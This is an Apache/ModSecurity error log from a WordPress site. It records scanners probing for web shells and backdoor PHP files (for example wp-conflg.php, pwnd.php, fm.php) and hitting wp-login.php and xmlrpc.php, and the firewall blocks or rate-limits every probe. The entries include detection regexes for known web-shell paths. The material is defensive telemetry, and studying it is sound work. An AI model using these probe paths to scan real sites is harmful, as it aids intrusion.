[Sat Dec 20 21:48:26.194630 2025] [:error] [pid 14286:tid 14306] [client 85.203.34.18:26347] [client 85.203.34.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "aUapKp7rbXIrw6rGSdaRDAAAAVA"]
[Sat Dec 20 21:48:26.785065 2025] [:error] [pid 33570:tid 33581] [client 85.203.34.22:57861] [client 85.203.34.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/wp-conflg.php"] [unique_id "aUapKoTNveA-c6YcSrIavwAAAcU"]
[Sat Dec 20 21:48:38.636738 2025] [:error] [pid 33570:tid 33579] [client 85.203.34.40:52611] [client 85.203.34.40] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.203.34.40, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aUapNoTNveA-c6YcSrIbfgAAAcM"]
[Sat Dec 20 21:48:49.530612 2025] [:error] [pid 33570:tid 33577] [client 85.203.34.40:52611] [client 85.203.34.40] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/modules.php"] [unique_id "aUapQYTNveA-c6YcSrIb6gAAAcE"]
[Sat Dec 20 21:48:50.101596 2025] [:error] [pid 33793:tid 33812] [client 85.203.34.43:62063] [client 85.203.34.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/olux.php"] [unique_id "aUapQlSicyB0BFmbRMzgFwAAAtE"]
[Sat Dec 20 21:48:54.006649 2025] [:error] [pid 14286:tid 14295] [client 85.203.34.15:37683] [client 85.203.34.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/codeboy1877_up.php"] [unique_id "aUapRp7rbXIrw6rGSdaSggAAAUU"]
[Sat Dec 20 21:48:59.742209 2025] [:error] [pid 33570:tid 33580] [client 85.203.34.21:50955] [client 85.203.34.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/archives.php"] [unique_id "aUapS4TNveA-c6YcSrIcbgAAAcQ"]
[Sat Dec 20 21:49:04.230330 2025] [:error] [pid 14286:tid 14311] [client 85.203.34.6:36597] [client 85.203.34.6] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/lx.php"] [unique_id "aUapUJ7rbXIrw6rGSdaTMAAAAVU"]
[Sat Dec 20 21:49:30.894160 2025] [:error] [pid 33687:tid 33692] [client 85.203.34.6:34815] [client 85.203.34.6] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/F0x.php"] [unique_id "aUapajYMR4qK1N4g7vje_gAAAkI"]
[Sat Dec 20 21:49:40.536414 2025] [:error] [pid 62124:tid 62134] [client 85.203.34.17:27779] [client 85.203.34.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "aUapdFs94zPA9ULQOjmPHQAAAAg"]
[Sat Dec 20 21:49:41.158227 2025] [:error] [pid 33749:tid 33771] [client 85.203.34.10:26043] [client 85.203.34.10] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.203.34.10, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aUapddoInXJnb96wei95dwAAApQ"]
[Sat Dec 20 21:49:42.218164 2025] [:error] [pid 33749:tid 33751] [client 85.203.34.10:26043] [client 85.203.34.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aUapdtoInXJnb96wei95iAAAAoA"]
[Sat Dec 20 21:49:42.792239 2025] [:error] [pid 33749:tid 33751] [client 85.203.34.34:44407] [client 85.203.34.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/shell/noimg.php"] [unique_id "aUapdtoInXJnb96wei95lAAAAoA"]
[Sat Dec 20 21:49:43.376919 2025] [:error] [pid 33793:tid 33815] [client 85.203.34.34:59569] [client 85.203.34.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/shell/noimg.php"] [unique_id "aUapd1SicyB0BFmbRMziRgAAAtQ"]
[Sat Dec 20 21:49:46.678930 2025] [:error] [pid 33793:tid 33816] [client 85.203.34.4:50349] [client 85.203.34.4] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "aUapelSicyB0BFmbRMzibgAAAtU"]
[Sat Dec 20 21:49:52.257180 2025] [:error] [pid 39577:tid 39586] [client 85.203.34.49:48967] [client 85.203.34.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aUapgLviRnt1rJiSOfx5RQAAAMc"]
[Sat Dec 20 21:49:52.869001 2025] [:error] [pid 39493:tid 39570] [client 85.203.34.24:62707] [client 85.203.34.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aUapgGhjL2VG_FmIHqAMKAAAAJU"]
[Sat Dec 20 21:49:53.500116 2025] [:error] [pid 33793:tid 33806] [client 85.203.34.9:23011] [client 85.203.34.9] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/about.php"] [unique_id "aUapgVSicyB0BFmbRMziqAAAAss"]
[Sat Dec 20 21:49:54.135054 2025] [:error] [pid 39577:tid 39590] [client 85.203.34.36:63071] [client 85.203.34.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/about.php"] [unique_id "aUapgrviRnt1rJiSOfx5XwAAAMs"]
[Sat Dec 20 21:49:55.667096 2025] [:error] [pid 33749:tid 33754] [client 185.92.25.139:40551] [client 185.92.25.139] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.92.25.139, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/wp-login.php"] [unique_id "aUapg9oInXJnb96wei96xwAAAoM"]
[Sat Dec 20 21:50:00.251963 2025] [:error] [pid 33749:tid 33775] [client 185.92.25.139:40551] [client 185.92.25.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/about.php"] [unique_id "aUapiNoInXJnb96wei97RwAAApg"]
[Sat Dec 20 21:50:02.788429 2025] [:error] [pid 33570:tid 33598] [client 85.203.34.41:32809] [client 85.203.34.41] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.203.34.41, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/wp-login.php"] [unique_id "aUapioTNveA-c6YcSrIexQAAAdY"]
[Sat Dec 20 21:50:05.251624 2025] [:error] [pid 33570:tid 33578] [client 85.203.34.41:32809] [client 85.203.34.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/makeasmtp.php"] [unique_id "aUapjYTNveA-c6YcSrIezgAAAcI"]
[Sat Dec 20 21:50:06.091110 2025] [:error] [pid 62124:tid 62140] [client 85.203.34.18:59295] [client 85.203.34.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/about.php"] [unique_id "aUapjls94zPA9ULQOjmQBQAAAA4"]
[Sat Dec 20 21:50:07.377130 2025] [proxy_fcgi:error] [pid 39577:tid 39602] [client 85.203.34.46:25947] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:50:09.717613 2025] [proxy_fcgi:error] [pid 39577:tid 39601] [client 85.203.34.46:25947] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:50:12.248035 2025] [:error] [pid 39577:tid 39586] [client 85.203.34.46:25947] [client 85.203.34.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/about.php"] [unique_id "aUaplLviRnt1rJiSOfx58QAAAMc"]
[Sat Dec 20 21:50:14.329233 2025] [:error] [pid 39577:tid 39601] [client 85.203.34.30:55579] [client 85.203.34.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aUaplrviRnt1rJiSOfx5_gAAANY"]
[Sat Dec 20 21:50:17.178589 2025] [:error] [pid 33687:tid 33695] [client 85.203.34.46:27735] [client 85.203.34.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/bak.php"] [unique_id "aUapmTYMR4qK1N4g7vjf9AAAAkU"]
[Sat Dec 20 21:50:18.377936 2025] [:error] [pid 14247:tid 14250] [client 85.203.34.21:42635] [client 85.203.34.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aUapmiDv9TtKKdJQn9kk2wAAAQE"]
[Sat Dec 20 21:50:20.508348 2025] [:error] [pid 33844:tid 33868] [client 85.203.34.31:60291] [client 85.203.34.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/fm.php"] [unique_id "aUapnCaNtwGsyqqVmQEG2AAAAxY"]
[Sat Dec 20 21:50:21.113077 2025] [:error] [pid 14286:tid 14311] [client 85.203.34.17:45919] [client 85.203.34.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "aUapnZ7rbXIrw6rGSdaX3wAAAVU"]
[Sat Dec 20 21:50:21.671076 2025] [:error] [pid 39577:tid 39591] [client 85.203.34.42:62813] [client 85.203.34.42] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.203.34.42, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/upgrade-temp-backup/wp-login.php"] [unique_id "aUapnbviRnt1rJiSOfx6OgAAAMw"]
[Sat Dec 20 21:50:22.558791 2025] [:error] [pid 39577:tid 39594] [client 85.203.34.42:62813] [client 85.203.34.42] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/themes.php"] [unique_id "aUapnrviRnt1rJiSOfx6SQAAAM8"]
[Sat Dec 20 21:50:26.336894 2025] [:error] [pid 33749:tid 33752] [client 85.203.34.20:46201] [client 85.203.34.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp-includes_function.php"] [unique_id "aUapotoInXJnb96wei981gAAAoE"]
[Sat Dec 20 21:50:27.616476 2025] [:error] [pid 14247:tid 14264] [client 85.203.34.46:26161] [client 85.203.34.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/about.php"] [unique_id "aUapoyDv9TtKKdJQn9klNAAAAQ8"]
[Sat Dec 20 21:50:28.766832 2025] [:error] [pid 33844:tid 33848] [client 85.203.34.19:64075] [client 85.203.34.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/codemirror/about.php"] [unique_id "aUappCaNtwGsyqqVmQEHIQAAAwI"]
[Sat Dec 20 21:50:30.483607 2025] [:error] [pid 33749:tid 33751] [client 85.203.34.12:40797] [client 85.203.34.12] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.203.34.12, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/languages/themes/wp-login.php"] [unique_id "aUapptoInXJnb96wei99OAAAAoA"]
[Sat Dec 20 21:50:31.568744 2025] [:error] [pid 33749:tid 33759] [client 85.203.34.12:40797] [client 85.203.34.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-supports/index.php"] [unique_id "aUapp9oInXJnb96wei99TAAAAog"]
[Sat Dec 20 21:50:32.136217 2025] [:error] [pid 39577:tid 39596] [client 85.203.34.22:28321] [client 85.203.34.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aUapqLviRnt1rJiSOfx6wAAAANE"]
[Sat Dec 20 21:50:36.175939 2025] [:error] [pid 33844:tid 33869] [client 85.203.34.22:33675] [client 85.203.34.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-patterns/about.php"] [unique_id "aUaprCaNtwGsyqqVmQEHbQAAAxc"]
[Sat Dec 20 21:50:36.775680 2025] [:error] [pid 33687:tid 33697] [client 85.203.34.43:27287] [client 85.203.34.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/wpcall-button/dropdown.php"] [unique_id "aUaprDYMR4qK1N4g7vjgjAAAAkc"]
[Sat Dec 20 21:50:38.218401 2025] [:error] [pid 39493:tid 39570] [client 85.203.34.19:39353] [client 85.203.34.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "aUaprmhjL2VG_FmIHqAN3wAAAJU"]
[Sat Dec 20 21:50:38.797208 2025] [:error] [pid 33749:tid 33766] [client 85.203.34.19:21727] [client 85.203.34.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/about.php"] [unique_id "aUaprtoInXJnb96wei998QAAAo8"]
[Sat Dec 20 21:50:39.393150 2025] [:error] [pid 14247:tid 14260] [client 85.203.34.36:24293] [client 85.203.34.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Content/index.php"] [unique_id "aUapryDv9TtKKdJQn9klcwAAAQs"]
[Sat Dec 20 21:50:39.978017 2025] [:error] [pid 62124:tid 62150] [client 85.203.34.22:31597] [client 85.203.34.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aUapr1s94zPA9ULQOjmRPwAAABg"]
[Sat Dec 20 21:50:42.052836 2025] [:error] [pid 33687:tid 33696] [client 85.203.34.27:46047] [client 85.203.34.27] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/autoload_classmap.php"] [unique_id "aUapsjYMR4qK1N4g7vjgzQAAAkY"]
[Sat Dec 20 21:50:43.596023 2025] [:error] [pid 33749:tid 33769] [client 85.203.34.44:51311] [client 85.203.34.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/about.php"] [unique_id "aUaps9oInXJnb96wei9-VAAAApI"]
[Sat Dec 20 21:50:44.811564 2025] [:error] [pid 33749:tid 33770] [client 85.203.34.32:23349] [client 85.203.34.32] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "aUaptNoInXJnb96wei9-bwAAApM"]
[Sat Dec 20 21:50:45.751361 2025] [:error] [pid 33749:tid 33772] [client 85.203.34.17:37405] [client 85.203.34.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/autoload_classmap.php"] [unique_id "aUaptdoInXJnb96wei9-hQAAApU"]
[Sat Dec 20 21:50:47.303506 2025] [:error] [pid 14247:tid 14252] [client 85.203.34.25:42125] [client 85.203.34.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/autoload_classmap.php"] [unique_id "aUaptyDv9TtKKdJQn9klwQAAAQM"]
[Sat Dec 20 21:50:47.900420 2025] [:error] [pid 33844:tid 33866] [client 85.203.34.2:52615] [client 85.203.34.2] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/providers/zmFM.php"] [unique_id "aUaptyaNtwGsyqqVmQEHxwAAAxQ"]
[Sat Dec 20 21:50:48.789253 2025] [:error] [pid 33793:tid 33800] [client 85.203.34.47:50145] [client 85.203.34.47] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/autoload_classmap.php"] [unique_id "aUapuFSicyB0BFmbRMzkMwAAAsU"]
